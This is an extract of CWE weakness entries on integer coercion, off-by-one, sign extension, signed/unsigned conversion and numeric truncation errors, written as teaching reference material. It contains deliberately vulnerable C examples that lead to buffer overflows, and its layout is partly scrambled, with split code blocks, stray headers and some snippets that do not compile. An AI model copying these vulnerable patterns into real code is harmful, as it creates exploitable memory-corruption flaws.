<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1397</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Research Gaps

Under-studied.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Integer underflow (wrap or wraparound)</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

References


CWE-192: Integer Coercion Error

Category ID: 192 (Category) Status: Incomplete

Description

Summary

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• C
• C++
• Java
• .NET
**Common Consequences**

**Availability**
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)
- DoS: crash / exit / restart

Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

**Example 1:**
The following code is intended to read an incoming packet from a socket and extract one or more headers.

**C Example:**

```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 2:**
The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

**C Example:**

```c
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
```
short s;
unsigned int sz;
i = GetUntrustedInt();
s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
if (s > 256) {
    DiePainfully("go away!\n");
}
    /* s is sign-extended and saved in sz */
sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
    path[255] = '\0';
printf("Path is: %s\n", path);
}

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

**Potential Mitigations**

**Requirements**

A language which throws exceptions on ambiguous data casts might be chosen.

**Architecture and Design**

Design objects and program flow such that multiple or complex casts are unnecessary

**Implementation**

Ensure that any data type casting that you must used is entirely understood in order to reduce the plausibility of error in use.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Node ID</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>194</td>
<td>Unexpected Sign Extension</td>
<td>1000</td>
<td>375</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
<td>1000</td>
<td>377</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
<td>1000</td>
<td>380</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>197</td>
<td>Numeric Truncation Error</td>
<td>1000</td>
<td>381</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>1000</td>
<td>1060</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>699</td>
<td>1063</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734</td>
<td>1135</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868</td>
<td>1317</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Integer coercion error</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT02-C</td>
<td>Understand integer conversion rules</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT05-C</td>
<td>Do not use input functions to convert character data if they cannot handle all possible inputs</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT31-C</td>
<td>Ensure that integer conversions do not result in lost or misinterpreted data</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT02-CPP</td>
<td>Understand integer conversion rules</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT05-CPP</td>
<td>Do not use input functions to convert character data if they cannot handle all possible inputs</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT31-CPP</td>
<td>Ensure that integer conversions do not result in lost or misinterpreted data</td>
</tr>
</tbody>
</table>

**References**
CWE-193: Off-by-one Error

Weakness ID: 193 (Weakness Base)

Description

Summary
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Alternate Terms
off-by-five
An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

Time of Introduction
• Implementation

Applicable Platforms
• All

Languages

Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: instability
This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

Integrity
Modify memory
If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Demonstrative Examples

Example 1:
The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

C Example:

```c
int i;
```
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
_WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:
The following C/C++ example demonstrates the Off-by-one error in the main method of a pattern matching utility that looks for a specific pattern within a specific file. The main method uses the string copy method, strncpy, to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

C Example:

```c
int main(int argc, char **argv)
{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ... 
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}
```

However, the calls to strncpy use the sizeof method call for the size parameter that does not take into account that the strncpy will add a null terminator to each character array. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays a null terminator will be added beyond the end of the buffer for the character arrays creating an off-by-one buffer overflow. In addition to creating a buffer overflow that may cause a memory address to be overwritten, if the character arrays are output to the user through the printf method the memory addresses at the overflow location may be output to the user.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

C Example:

```c
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
```

Example 3:
Similarly, this example uses the strncat and snprintf functions incorrectly. The code does not account for the null character that is added by the second strncat function call, one byte beyond the end of the name buffer.
C Example: Bad Code

```c
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name));
strncat(name, lastname, sizeof(name));
snprintf(fullname, sizeof(fullname), "%s", name);
```

By leaving a free byte at the end of the buffers for a null character to be added, the off-by-one weakness is avoided.

C Example: Good Code

```c
char lastname[20];
char firstname[20];
char name[40];
char fullname[40];
strncat(name, firstname, sizeof(name)-1);
strncat(name, lastname, sizeof(name)-1);
snprintf(fullname, sizeof(fullname), "%s", name);
```

Example 4:
The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

C Example: Bad Code

```c
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
    char c = getc();
    if (c == EOF) {
        filename[i] = '\0';
    } else {
        filename[i] = getc();
    }
}
```

In this case, the correct continuation condition is shown below.

C Example: Good Code

```c
for(i=0; i<PATH_SIZE; i++) {
    ...
}
```

Example 5:
As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

C Example: Bad Code

```c
int setFilename(char *filename) {
    char name[20];
    sprintf(name, "%16s.dat", filename);
    int success = saveFormattedFilenameToDB(name);
    return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

Observed Examples
CWE Version 2.11

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1568</td>
<td>Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command.</td>
</tr>
<tr>
<td>CVE-2001-0609</td>
<td>An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string.</td>
</tr>
<tr>
<td>CVE-2001-1391</td>
<td>Off-by-one vulnerability in driver allows users to modify kernel memory.</td>
</tr>
<tr>
<td>CVE-2001-1496</td>
<td>Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2002-0083</td>
<td>Off-by-one error allows local users or remote malicious servers to gain privileges.</td>
</tr>
<tr>
<td>CVE-2002-0653</td>
<td>Off-by-one buffer overflow in function used by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries.</td>
</tr>
<tr>
<td>CVE-2002-0844</td>
<td>Off-by-one buffer overflow in version control system allows local users to execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2002-1721</td>
<td>Off-by-one error causes an snprintf call to overwrite a critical internal variable with a null value.</td>
</tr>
<tr>
<td>CVE-2002-1745</td>
<td>Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension.</td>
</tr>
<tr>
<td>CVE-2002-1816</td>
<td>Off-by-one buffer overflow.</td>
</tr>
<tr>
<td>CVE-2003-0252</td>
<td>Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines.</td>
</tr>
<tr>
<td>CVE-2003-0356</td>
<td>Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2003-0466</td>
<td>Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server.</td>
</tr>
<tr>
<td>CVE-2003-0625</td>
<td>Off-by-one error allows read of sensitive memory via a malformed request.</td>
</tr>
<tr>
<td>CVE-2004-0005</td>
<td>Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code.</td>
</tr>
<tr>
<td>CVE-2004-0342</td>
<td>This is an interesting example that might not be an off-by-one.</td>
</tr>
<tr>
<td>CVE-2004-0346</td>
<td>Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command.</td>
</tr>
<tr>
<td>CVE-2006-4574</td>
<td>Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>🌱</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>1000 226</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🌱</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>1000 328</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>🌱</td>
<td>617</td>
<td>Reachable Assertion</td>
<td>1000 966</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌱</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>699 1063</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌱</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734 1136</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌱</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>868 1318</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌱</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888 1387</td>
</tr>
<tr>
<td>MemberOf</td>
<td>🌱</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

Relationship Notes

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.

Research Gaps
CWE-194: Unexpected Sign Extension

Under-studied. It requires careful code analysis or black box testing, where inputs of excessive length might not cause an error. Off-by-ones are likely triggered by extensive fuzzing, with the attendant diagnostic problems.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Off-by-one Error</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>STR31-C</td>
<td>Guarantee that storage for strings has sufficient space for character data and the null terminator</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>STR31-CPP</td>
<td>Guarantee that storage for character arrays has sufficient space for character data and the null terminator</td>
</tr>
</tbody>
</table>

References


CWE-194: Unexpected Sign Extension

Weakness ID: 194 (Weakness Base) Status: Incomplete

Description

Summary
The software performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Integrity
Confidentiality
Availability
Other
Read memory
Modify memory
Other
When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.

Likelihood of Exploit
High

Demonstrative Examples
The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

**C Example:**

```c
int GetUntrustedInt() {
    return(0x0000FFFF);
}

void main(int argc, char **argv) {
    char path[256];
    char *input;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("%-d, %d, %u\n", i, s, sz);
    input = GetUserInput("Enter pathname: ");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0234</td>
<td>Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.</td>
</tr>
<tr>
<td>CVE-2003-0161</td>
<td>Product uses &quot;char&quot; type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.</td>
</tr>
<tr>
<td>CVE-2005-2753</td>
<td>Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.</td>
</tr>
<tr>
<td>CVE-2006-1834</td>
<td>Chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.</td>
</tr>
<tr>
<td>CVE-2007-4988</td>
<td>Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Avoid using signed variables if you don’t need to represent negative values. When negative values are needed, perform sanity checks after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.
CWE Version 2.11

CWE-195: Signed to Unsigned Conversion Error

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>192</td>
<td>Integer Coercion Error</td>
<td>1000 368</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>197</td>
<td>Numeric Truncation Error</td>
<td>1000 381</td>
</tr>
</tbody>
</table>

**Relationship Notes**

Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Sign extension error</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

**References**


**Maintenance Notes**

This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.

---

**CWE-195: Signed to Unsigned Conversion Error**

**Weakness ID:** 195 *(Weakness Variant)*

**Description**

**Summary**

The software uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

**Extended Description**

It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.

Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- C
- C++

**Common Consequences**

- Integrity
- Unexpected state

Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.

**Demonstrative Examples**

**Example 1:**

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

**C Example:**

```c
unsigned int readdata () {
```
int amount = 0;
...
if (result == ERROR)
    amount = -1;
...
return amount;
}

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 2:**
In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

**C Example:**

```c
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

**Example 3:**
The following code is intended to read an incoming packet from a socket and extract one or more headers.

**C Example:**

```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 4:**
This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.

**C Example:**

```c
char* processNext(char* strm) {
    char buf[512];
    short len = *(short*) strm;
    strm += sizeof(len);
    if (len <= 512) {
        memcpy(buf, strm, len);
        ...
    }
    return buf;
}
```
The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.

**Example 5:**
In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example:

```c
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
} int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-4268</td>
<td>Chain: integer signedness passes signed comparison, leads to heap overflow</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>🌶</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>1000</td>
<td>226</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌶</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>699</td>
<td>1060</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌶</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
<td>1397</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>🌶</td>
<td>192</td>
<td>Integer Coercion Error</td>
<td>1000</td>
<td>368</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>🌶</td>
<td>197</td>
<td>Numeric Truncation Error</td>
<td>1000</td>
<td>381</td>
</tr>
<tr>
<td>CanFollow</td>
<td>🌶</td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
<td>1000</td>
<td>1283</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>SFP1</td>
<td>Signed to unsigned conversion error</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

**References**

CWE-196: Unsigned to Signed Conversion Error

Weakness ID: 196 (Weakness Variant) Status: Draft

Description

Summary
The software uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.

Extended Description
Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C
• C++

Common Consequences

Availability
DoS: crash / exit / restart
Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.

Integrity
Modify memory
If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.

Integrity
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit
Medium

Potential Mitigations

Requirements
Choose a language which is not subject to these casting flaws.

Architecture and Design
Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Implementation
Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanAlsoBe</td>
<td>⬅️</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>1000</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>⬅️</td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
<td>1000</td>
</tr>
</tbody>
</table>
### CWE-197: Numeric Truncation Error

**Weakness ID:** 197 *(Weakness Base)*

**Status:** Incomplete

#### Description

**Summary**

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.

**Extended Description**

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

#### Time of Introduction

- Implementation

#### Applicable Platforms

- C
- C++
- Java
- .NET

#### Common Consequences

**Integrity**

Modify memory

The true value of the data is lost and corrupted data is used.

#### Likelihood of Exploit

Low

#### Demonstrative Examples

**Example 1:**

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

**C Example:**

```c
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)((~((int)0) ^ (1 << (sizeof(int)*8-1))));
shortPrimitive = intPrimitive;
```

---

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
</table>
| 92       | Forced Integer Overflow | *(CAPEC Version 2.10)*

### References

printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);

The above code, when compiled and run on certain systems, returns the following output:

<table>
<thead>
<tr>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Int MAXINT: 2147483647</td>
</tr>
<tr>
<td>Short MAXINT: -1</td>
</tr>
</tbody>
</table>

